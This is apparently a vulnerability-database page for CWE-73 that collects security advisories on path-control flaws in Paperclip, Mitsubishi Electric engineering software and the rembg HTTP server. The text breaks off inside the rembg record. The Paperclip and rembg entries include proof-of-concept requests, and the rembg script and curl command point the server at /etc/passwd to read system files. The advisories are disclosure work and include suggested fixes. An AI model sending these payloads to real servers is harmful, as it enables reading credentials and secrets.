CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
915 vulnerabilities reference this CWE, most recent first.
GHSA-3PW3-V88X-XJ24
Vulnerability from github – Published: 2026-04-16 22:45 – Updated: 2026-04-16 22:45Summary
Paperclip contains an arbitrary file read vulnerability that allows an attacker with an Agent API key to read files from the Paperclip server host filesystem. The vulnerability occurs because agents are allowed to modify their own adapterConfig through the /agents/:id API endpoint. The configuration field adapterConfig.instructionsFilePath is later read directly by the server runtime using fs.readFile(). Because no validation or path restriction is applied, an attacker can supply an arbitrary filesystem path. The Paperclip server then attempts to read that path from the host filesystem during agent execution. This breaks the intended trust boundary between agent runtime configuration and server host filesystem access, allowing a compromised or malicious agent to access sensitive files on the host system.
Details
Root Cause
No path normalization, allowlist, or workspace boundary validation is applied before the filesystem read occurs. Agent configuration can be modified through the API endpoint:
PATCH /api/agents/:id
The validation schema allows arbitrary configuration fields inside adapterConfig. File:
packages/shared/src/validators/agent.ts
Schema fragment:
adapterConfig: z.record(z.unknown())
Because of this schema, attackers can inject arbitrary configuration values, including:
adapterConfig.instructionsFilePath
During agent execution, the server runtime reads this path directly from the host filesystem using fs.readFile(). Relevant code path:
packages/adapters/claude-local/src/server/execute.ts
Execution flow:
adapterConfig.instructionsFilePath
↓
execute()
↓
fs.readFile(instructionsFilePath)
↓
file content loaded into runtime
Vulnerable logic:
const instructionsContent = await fs.readFile(instructionsFilePath, "utf-8");
Because the value originates from attacker-controlled configuration and no validation or sandboxing is applied, this becomes a direct host filesystem read primitive.
Affected Files
Primary vulnerable file:
packages/adapters/claude-local/src/server/execute.ts
Relevant function:
execute()
Sensitive operation:
fs.readFile(instructionsFilePath)
Configuration source:
PATCH /api/agents/:id
Validation logic:
packages/shared/src/validators/agent.ts
Attacker Model
Required privileges Attacker requires:
Agent API key
Agent credentials are intended for automation and integration with external runtimes. These credentials are commonly used by:
agent runtime environments
third-party integrations
automation pipelines
Agent credentials are not intended to grant direct access to the server host filesystem. No board or administrator privileges are required.
Attacker Chain
Complete exploit chain:
Attacker obtains Agent API key
↓
PATCH /api/agents/:id
↓
Inject adapterConfig.instructionsFilePath
↓
POST /api/agents/:id/wakeup
↓
Server executes agent run
↓
execute.ts
↓
fs.readFile(attacker_path)
↓
Server reads host filesystem path
This allows an attacker to read arbitrary files accessible to the Paperclip server process.
Trust Boundary Violation
Paperclip’s architecture assumes the following separation:
Agent runtime
↓
Paperclip orchestration layer
↓
Server host filesystem
Agents should only interact with repositories and workflows through the orchestration layer.
However, because agent-controlled configuration is passed directly into fs.readFile, the boundary collapses:
Agent configuration
↓
Server filesystem access
This allows an agent to access files outside its intended permission scope.
Why This Is a Vulnerability (Not Expected Behavior)
The instructionsFilePath configuration appears intended for trusted operators configuring agent runtime behavior. However, the current API design allows agents themselves to modify this configuration through the agent API. Because agent credentials may be exposed to external systems or runtime environments, allowing them to control server filesystem paths introduces a security vulnerability. Therefore:
Operator-controlled configuration → expected feature
Agent-controlled configuration → arbitrary file read vulnerability
The issue arises from insufficient separation between configuration authority and filesystem access authority.
PoC
The following PoC demonstrates that the server attempts to read an attacker-controlled filesystem path. To avoid accessing sensitive data, the PoC uses a non-existent path.
Step 1 — Setup Environment
Run server:
$env:SHELL = "C:\Program Files\Git\bin\sh.exe"
npx paperclipai onboard --yes
Login Claude:
claude
/login
Step 2 — Obtain Agent API key
Create an agent via the UI or CLI and obtain its API key.
Example:
Step 3 — Identify agent ID
GET /api/agents/me
Step 4 — Inject malicious configuration
PATCH /api/agents/{agentId}
Payload example:
{
"adapterConfig": {
"instructionsFilePath": "C:\\definitely-does-not-exist-paperclip-poc.txt"
}
}
Example PowerShell payload:
$patchBody = @{
adapterConfig = @{
instructionsFilePath = "C:\definitely-does-not-exist-paperclip-poc.txt"
}
} | ConvertTo-Json -Depth 10
Step 5 — Trigger execution
POST /api/agents/{agentId}/wakeup
Step 6 — Observe server log
Server log shows:
ENOENT: no such file or directory, open 'C:\definitely-does-not-exist-paperclip-poc.txt'
at async Object.readFile
at async Object.execute (.../adapter-claude-local/dist/server/execute.js)
This confirms the server attempted to read an attacker-controlled filesystem path.
Impact
Successful exploitation allows attackers to read sensitive files accessible to the Paperclip server process. Examples of potentially exposed data include:
environment configuration (.env)
SSH private keys
database credentials
API tokens
CI secrets
Possible attacker actions:
exfiltrate secrets
access private repositories
steal infrastructure credentials
pivot into connected services
Because Paperclip orchestrates repositories, agents, and automation tasks, disclosure of such secrets may lead to compromise of the broader deployment environment.
Recommended Fix
Restrict configuration authority
Agents should not be allowed to modify filesystem-sensitive configuration fields. Example mitigation:
adapterConfig.instructionsFilePath
should only be configurable by board/admin actors.
Path validation
Restrict file access to a safe directory such as:
workspace/
agent-config/
Reject:
absolute paths
system directories
paths containing ".."
Avoid direct filesystem reads from configuration
Instead of:
fs.readFile(user_supplied_path)
use:
readFile(workspaceSafePath)
Example guard
if (
request.auth?.principal === "agent" &&
body?.adapterConfig?.instructionsFilePath
) {
throw new Error(
"Agents are not permitted to configure instructionsFilePath"
);
}
Security Impact Statement
An authenticated attacker with an Agent API key can modify their agent configuration to inject an arbitrary filesystem path into adapterConfig.instructionsFilePath. The Paperclip server reads this path during agent execution via fs.readFile, allowing the attacker to access files on the server host filesystem.
Disclosure
This vulnerability was discovered during security research on the Paperclip orchestration runtime and is reported privately to allow maintainers to patch the issue before public disclosure.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/shared"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:45:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nPaperclip contains an arbitrary file read vulnerability that allows an attacker with an Agent API key to read files from the Paperclip server host filesystem.\nThe vulnerability occurs because agents are allowed to modify their own adapterConfig through the /agents/:id API endpoint.\nThe configuration field adapterConfig.instructionsFilePath is later read directly by the server runtime using fs.readFile().\nBecause no validation or path restriction is applied, an attacker can supply an arbitrary filesystem path.\nThe Paperclip server then attempts to read that path from the host filesystem during agent execution.\nThis breaks the intended trust boundary between agent runtime configuration and server host filesystem access, allowing a compromised or malicious agent to access sensitive files on the host system.\n\n### Details\n#### Root Cause\nNo path normalization, allowlist, or workspace boundary validation is applied before the filesystem read occurs.\nAgent configuration can be modified through the API endpoint:\n```\nPATCH /api/agents/:id\n```\nThe validation schema allows arbitrary configuration fields inside adapterConfig.\nFile:\n```\npackages/shared/src/validators/agent.ts\n```\nSchema fragment:\n```\nadapterConfig: z.record(z.unknown())\n```\nBecause of this schema, attackers can inject arbitrary configuration values, including:\n```\nadapterConfig.instructionsFilePath\n```\nDuring agent execution, the server runtime reads this path directly from the host filesystem using fs.readFile().\nRelevant code path:\n```\npackages/adapters/claude-local/src/server/execute.ts\n```\nExecution flow:\n```\nadapterConfig.instructionsFilePath\n \u2193\nexecute()\n \u2193\nfs.readFile(instructionsFilePath)\n \u2193\nfile content loaded into runtime\n```\nVulnerable logic:\n```\nconst instructionsContent = await fs.readFile(instructionsFilePath, \"utf-8\");\n```\nBecause the value originates from attacker-controlled configuration and no validation or sandboxing is applied, this becomes a direct host filesystem read primitive.\n\n#### Affected Files\nPrimary vulnerable file:\n```\npackages/adapters/claude-local/src/server/execute.ts\n```\nRelevant function:\n```\nexecute()\n```\nSensitive operation:\n```\nfs.readFile(instructionsFilePath)\n```\nConfiguration source:\n```\nPATCH /api/agents/:id\n```\nValidation logic:\n```\npackages/shared/src/validators/agent.ts\n```\n\n#### Attacker Model\nRequired privileges\nAttacker requires:\n```\nAgent API key\n```\nAgent credentials are intended for automation and integration with external runtimes.\nThese credentials are commonly used by:\n```\nagent runtime environments\nthird-party integrations\nautomation pipelines\n```\nAgent credentials are not intended to grant direct access to the server host filesystem.\nNo board or administrator privileges are required.\n\n#### Attacker Chain\nComplete exploit chain:\n```\nAttacker obtains Agent API key\n \u2193\nPATCH /api/agents/:id\n \u2193\nInject adapterConfig.instructionsFilePath\n \u2193\nPOST /api/agents/:id/wakeup\n \u2193\nServer executes agent run\n \u2193\nexecute.ts\n \u2193\nfs.readFile(attacker_path)\n \u2193\nServer reads host filesystem path\n```\nThis allows an attacker to read arbitrary files accessible to the Paperclip server process.\n\n#### Trust Boundary Violation\nPaperclip\u2019s architecture assumes the following separation:\n```\nAgent runtime\n \u2193\nPaperclip orchestration layer\n \u2193\nServer host filesystem\n\nAgents should only interact with repositories and workflows through the orchestration layer.\n\nHowever, because agent-controlled configuration is passed directly into fs.readFile, the boundary collapses:\n\nAgent configuration\n \u2193\nServer filesystem access\n```\nThis allows an agent to access files outside its intended permission scope.\n\n#### Why This Is a Vulnerability (Not Expected Behavior)\nThe instructionsFilePath configuration appears intended for trusted operators configuring agent runtime behavior.\nHowever, the current API design allows agents themselves to modify this configuration through the agent API.\nBecause agent credentials may be exposed to external systems or runtime environments, allowing them to control server filesystem paths introduces a security vulnerability.\nTherefore:\n```\nOperator-controlled configuration \u2192 expected feature\nAgent-controlled configuration \u2192 arbitrary file read vulnerability\n```\nThe issue arises from insufficient separation between configuration authority and filesystem access authority.\n\n### PoC\nThe following PoC demonstrates that the server attempts to read an attacker-controlled filesystem path.\nTo avoid accessing sensitive data, the PoC uses a non-existent path.\n#### Step 1 \u2014 Setup Environment\nRun server:\n```\n$env:SHELL = \"C:\\Program Files\\Git\\bin\\sh.exe\"\nnpx paperclipai onboard --yes\n```\nLogin Claude:\n```\nclaude\n/login\n```\n#### Step 2 \u2014 Obtain Agent API key\nCreate an agent via the UI or CLI and obtain its API key.\nExample:\n\u003cimg width=\"1475\" height=\"710\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fcc0dfe9-1271-4eed-af0a-7dd83dfa9ad4\" /\u003e\n\n#### Step 3 \u2014 Identify agent ID\n```\nGET /api/agents/me\n```\n\u003cimg width=\"824\" height=\"196\" alt=\"image\" src=\"https://github.com/user-attachments/assets/af4a16bb-9bff-485d-af23-4a85d31486fc\" /\u003e\n\n#### Step 4 \u2014 Inject malicious configuration\n```\nPATCH /api/agents/{agentId}\n```\nPayload example:\n```powershell\n{\n \"adapterConfig\": {\n \"instructionsFilePath\": \"C:\\\\definitely-does-not-exist-paperclip-poc.txt\"\n }\n}\n```\nExample PowerShell payload:\n```powershell\n$patchBody = @{\n adapterConfig = @{\n instructionsFilePath = \"C:\\definitely-does-not-exist-paperclip-poc.txt\"\n }\n} | ConvertTo-Json -Depth 10\n```\n\u003cimg width=\"1891\" height=\"963\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1a8c41b4-c053-4498-8bf5-ce41c7dfa1b5\" /\u003e\n\nStep 5 \u2014 Trigger execution\n```\nPOST /api/agents/{agentId}/wakeup\n```\n\u003cimg width=\"927\" height=\"376\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d6107b64-1b5e-493c-9a66-45a4713260b5\" /\u003e\n\n#### Step 6 \u2014 Observe server log\nServer log shows:\n```\nENOENT: no such file or directory, open \u0027C:\\definitely-does-not-exist-paperclip-poc.txt\u0027\n at async Object.readFile\n at async Object.execute (.../adapter-claude-local/dist/server/execute.js)\n```\nThis confirms the server attempted to read an attacker-controlled filesystem path.\n\u003cimg width=\"1916\" height=\"166\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2470438a-bf5a-4f6f-848c-b134d3f0cc3f\" /\u003e\n\n### Impact\nSuccessful exploitation allows attackers to read sensitive files accessible to the Paperclip server process.\nExamples of potentially exposed data include:\n```\nenvironment configuration (.env)\nSSH private keys\ndatabase credentials\nAPI tokens\nCI secrets\n```\nPossible attacker actions:\n```\nexfiltrate secrets\naccess private repositories\nsteal infrastructure credentials\npivot into connected services\n```\nBecause Paperclip orchestrates repositories, agents, and automation tasks, disclosure of such secrets may lead to compromise of the broader deployment environment.\n\n### Recommended Fix\n#### Restrict configuration authority\nAgents should not be allowed to modify filesystem-sensitive configuration fields.\nExample mitigation:\n```\nadapterConfig.instructionsFilePath\n```\nshould only be configurable by board/admin actors.\n\n#### Path validation\nRestrict file access to a safe directory such as:\n```\nworkspace/\nagent-config/\n```\nReject:\n```\nabsolute paths\nsystem directories\npaths containing \"..\"\n```\n\n#### Avoid direct filesystem reads from configuration\nInstead of:\n```\nfs.readFile(user_supplied_path)\n```\nuse:\n```\nreadFile(workspaceSafePath)\n```\nExample guard\n```ts\nif (\n request.auth?.principal === \"agent\" \u0026\u0026\n body?.adapterConfig?.instructionsFilePath\n) {\n throw new Error(\n \"Agents are not permitted to configure instructionsFilePath\"\n );\n}\n```\n\n### Security Impact Statement\nAn authenticated attacker with an Agent API key can modify their agent configuration to inject an arbitrary filesystem path into adapterConfig.instructionsFilePath.\nThe Paperclip server reads this path during agent execution via fs.readFile, allowing the attacker to access files on the server host filesystem.\n\n### Disclosure\nThis vulnerability was discovered during security research on the Paperclip orchestration runtime and is reported privately to allow maintainers to patch the issue before public disclosure.",
"id": "GHSA-3pw3-v88x-xj24",
"modified": "2026-04-16T22:45:14Z",
"published": "2026-04-16T22:45:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-3pw3-v88x-xj24"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Arbitrary File Read via Agent-Controlled adapterConfig.instructionsFilePath"
}
GHSA-3Q5H-R4QP-QQCG
Vulnerability from github – Published: 2023-11-30 06:33 – Updated: 2023-11-30 06:33Malicious Code Execution Vulnerability due to External Control of File Name or Path in multiple Mitsubishi Electric FA Engineering Software Products allows a malicious attacker to execute a malicious code by having legitimate users open a specially crafted project file, which could result in information disclosure, tampering and deletion, or a denial-of-service (DoS) condition.
{
"affected": [],
"aliases": [
"CVE-2023-5247"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-30T04:15:07Z",
"severity": "HIGH"
},
"details": "Malicious Code Execution Vulnerability due to External Control of File Name or Path in multiple Mitsubishi Electric FA Engineering Software Products allows a malicious attacker to execute a malicious code by having legitimate users open a specially crafted project file, which could result in information disclosure, tampering and deletion, or a denial-of-service (DoS) condition.",
"id": "GHSA-3q5h-r4qp-qqcg",
"modified": "2023-11-30T06:33:24Z",
"published": "2023-11-30T06:33:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5247"
},
{
"type": "WEB",
"url": "https://jvn.jp/vu/JVNVU93383160"
},
{
"type": "WEB",
"url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2023-016_en.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3WQJ-33CG-XC48
Vulnerability from github – Published: 2026-04-10 20:00 – Updated: 2026-04-10 20:00Summary
A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.
CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)
Details
Vulnerable Code Flow
The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).
1. Entry Point - rembg/commands/s_command.py
def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
kwargs = {}
if commons.extras:
try:
kwargs.update(json.loads(commons.extras)) # ❌ No validation
except Exception:
pass
# ...
session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs
The extras parameter is parsed as JSON and passed directly to new_session() without any validation.
2. Path Handling - rembg/sessions/u2net_custom.py
@classmethod
def download_models(cls, *args, **kwargs):
model_path = kwargs.get("model_path")
if model_path is None:
raise ValueError("model_path is required")
return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation
The model_path is returned with tilde expansion but no validation against path traversal.
3. File Read - rembg/sessions/base.py
self.inner_session = ort.InferenceSession(
str(self.__class__.download_models(*args, **kwargs)), # Reads file
# ...
)
The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.
Root Cause
The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.
PoC
Prerequisites
- Python 3.10+
- rembg installed with CLI support:
pip install "rembg[cpu,cli]"
Step 1: Start the Vulnerable Server
Open a terminal and run:
rembg s --host 0.0.0.0 --port 7000
You should see output like:
To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000
Step 2: Send the Exploit Request
Open a second terminal and run this Python script:
import requests
import json
import urllib.parse
from io import BytesIO
# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
0x44, 0xAE, 0x42, 0x60, 0x82
])
# Target paths to test
test_paths = [
"/etc/passwd", # System file (should exist)
"/nonexistent/file.txt", # Non-existent file
]
for path in test_paths:
print(f"\n[*] Testing path: {path}")
# Build request - extras must be in URL query string
extras = json.dumps({"model_path": path})
url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
response = requests.post(
url,
files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
data={"model": "u2net_custom"},
timeout=30
)
print(f" Status: {response.status_code}")
print(f" Response: {response.text[:100]}")
Or use curl directly:
# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png
# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
-F "model=u2net_custom" \
-F "file=@/tmp/test.png"
Step 3: Verify in Server Logs
Go back to the first terminal where the server is running. You will see error messages like:
onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf:
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.
onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile:
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist
Understanding the Results
| Server Log Message | What It Proves |
|---|---|
Load model from /etc/passwd failed:Protobuf parsing failed |
✅ File exists and was read by onnxruntime |
Load model from /etc/shadow failed:Permission denied |
✅ File exists but process lacks permission |
Load model from /nonexistent/... failed. File doesn't exist |
✅ File does not exist - enables enumeration |
The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:
1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf
Impact
Who is Affected?
- All users running
rembg s(HTTP server mode) - Cloud deployments where rembg is exposed as an API service
- Docker containers running rembg server
Attack Scenarios
- Information Disclosure: Attacker enumerates sensitive files (
/etc/passwd,.env, config files) - Credential Discovery: Attacker checks for common credential files
- Infrastructure Mapping: Attacker discovers installed software and system configuration
- Denial of Service: Attacker attempts to load very large files, exhausting memory
What is NOT Affected?
- CLI usage (
rembg i,rembg p) - users already have local file access - Library usage - developers control the input
Recommended Fix
Option 1: Disable Custom Models for HTTP API (Recommended)
Remove custom model types from the HTTP API session list:
# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
name for name in sessions_names
if not name.endswith('_custom')
]
# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
default="u2net",
)
Option 2: Validate model_path Against Allowlist
If custom models must be supported via HTTP:
import os
ALLOWED_MODEL_DIRS = [
os.path.expanduser("~/.u2net"),
"/app/models", # or your designated model directory
]
def validate_model_path(path: str) -> str:
"""Validate model path is within allowed directories."""
abs_path = os.path.abspath(os.path.expanduser(path))
for allowed_dir in ALLOWED_MODEL_DIRS:
allowed_abs = os.path.abspath(allowed_dir)
if abs_path.startswith(allowed_abs + os.sep):
return abs_path
raise ValueError(f"model_path must be within allowed directories")
Option 3: Document Security Considerations
At minimum, add security warnings to the documentation:
⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-73: External Control of File Name or Path
- OWASP Path Traversal: Path Traversal Attack
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "rembg"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.75"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40086"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T20:00:12Z",
"nvd_published_at": "2026-04-10T17:17:12Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server\u0027s filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.\n\n**CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)\n\n---\n\n## Details\n\n### Vulnerable Code Flow\n\nThe vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`).\n\n**1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202)\n\n```python\ndef im_without_bg(content: bytes, commons: CommonQueryParams) -\u003e Response:\n kwargs = {}\n if commons.extras:\n try:\n kwargs.update(json.loads(commons.extras)) # \u274c No validation\n except Exception:\n pass\n # ...\n session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs\n```\n\nThe `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation.\n\n**2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83)\n\n```python\n@classmethod\ndef download_models(cls, *args, **kwargs):\n model_path = kwargs.get(\"model_path\")\n if model_path is None:\n raise ValueError(\"model_path is required\")\n return os.path.abspath(os.path.expanduser(model_path)) # \u274c No path validation\n```\n\nThe `model_path` is returned with tilde expansion but no validation against path traversal.\n\n**3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38)\n\n```python\nself.inner_session = ort.InferenceSession(\n str(self.__class__.download_models(*args, **kwargs)), # Reads file\n # ...\n)\n```\n\nThe path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file.\n\n### Root Cause\n\nThe custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Python 3.10+\n- rembg installed with CLI support: `pip install \"rembg[cpu,cli]\"`\n\n### Step 1: Start the Vulnerable Server\n\nOpen a terminal and run:\n\n```bash\nrembg s --host 0.0.0.0 --port 7000\n```\n\nYou should see output like:\n```\nTo access the API documentation, go to http://localhost:7000/api\nTo access the UI, go to http://localhost:7000\n```\n\n### Step 2: Send the Exploit Request\n\nOpen a **second terminal** and run this Python script:\n\n```python\nimport requests\nimport json\nimport urllib.parse\nfrom io import BytesIO\n\n# Minimal valid 1x1 PNG image (required for the request)\nMINIMAL_PNG = bytes([\n 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,\n 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,\n 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,\n 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,\n 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,\n 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,\n 0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,\n 0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,\n 0x44, 0xAE, 0x42, 0x60, 0x82\n])\n\n# Target paths to test\ntest_paths = [\n \"/etc/passwd\", # System file (should exist)\n \"/nonexistent/file.txt\", # Non-existent file\n]\n\nfor path in test_paths:\n print(f\"\\n[*] Testing path: {path}\")\n \n # Build request - extras must be in URL query string\n extras = json.dumps({\"model_path\": path})\n url = f\"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}\"\n \n response = requests.post(\n url,\n files={\"file\": (\"test.png\", BytesIO(MINIMAL_PNG), \"image/png\")},\n data={\"model\": \"u2net_custom\"},\n timeout=30\n )\n \n print(f\" Status: {response.status_code}\")\n print(f\" Response: {response.text[:100]}\")\n```\n\nOr use **curl** directly:\n\n```bash\n# Create a minimal PNG file\npython3 -c \"import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))\" \u003e /tmp/test.png\n\n# Send exploit request targeting /etc/passwd\ncurl -X POST \u0027http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D\u0027 \\\n -F \"model=u2net_custom\" \\\n -F \"file=@/tmp/test.png\"\n```\n\n### Step 3: Verify in Server Logs\n\nGo back to the **first terminal** where the server is running. You will see error messages like:\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: \n[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.\n```\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: \n[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn\u0027t exist\n```\n\n### Understanding the Results\n\n| Server Log Message | What It Proves |\n|-------------------|----------------|\n| `Load model from /etc/passwd failed:Protobuf parsing failed` | \u2705 File **exists and was read** by onnxruntime |\n| `Load model from /etc/shadow failed:Permission denied` | \u2705 File **exists** but process lacks permission |\n| `Load model from /nonexistent/... failed. File doesn\u0027t exist` | \u2705 File **does not exist** - enables enumeration |\n\n**The key proof:** The message `\"Load model from /etc/passwd failed:Protobuf parsing failed\"` proves that:\n1. The attacker-controlled path was passed through without validation\n2. `onnxruntime.InferenceSession()` attempted to **read the file contents**\n3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All users** running `rembg s` (HTTP server mode)\n- **Cloud deployments** where rembg is exposed as an API service\n- **Docker containers** running rembg server\n\n### Attack Scenarios\n\n1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files)\n2. **Credential Discovery**: Attacker checks for common credential files\n3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration\n4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory\n\n### What is NOT Affected?\n\n- CLI usage (`rembg i`, `rembg p`) - users already have local file access\n- Library usage - developers control the input\n\n---\n\n## Recommended Fix\n\n### Option 1: Disable Custom Models for HTTP API (Recommended)\n\nRemove custom model types from the HTTP API session list:\n\n```python\n# In s_command.py, filter out custom models\nALLOWED_HTTP_MODELS = [\n name for name in sessions_names \n if not name.endswith(\u0027_custom\u0027)\n]\n\n# Use ALLOWED_HTTP_MODELS in the model parameter regex\nmodel: str = Query(\n regex=r\"(\" + \"|\".join(ALLOWED_HTTP_MODELS) + \")\",\n default=\"u2net\",\n)\n```\n\n### Option 2: Validate model_path Against 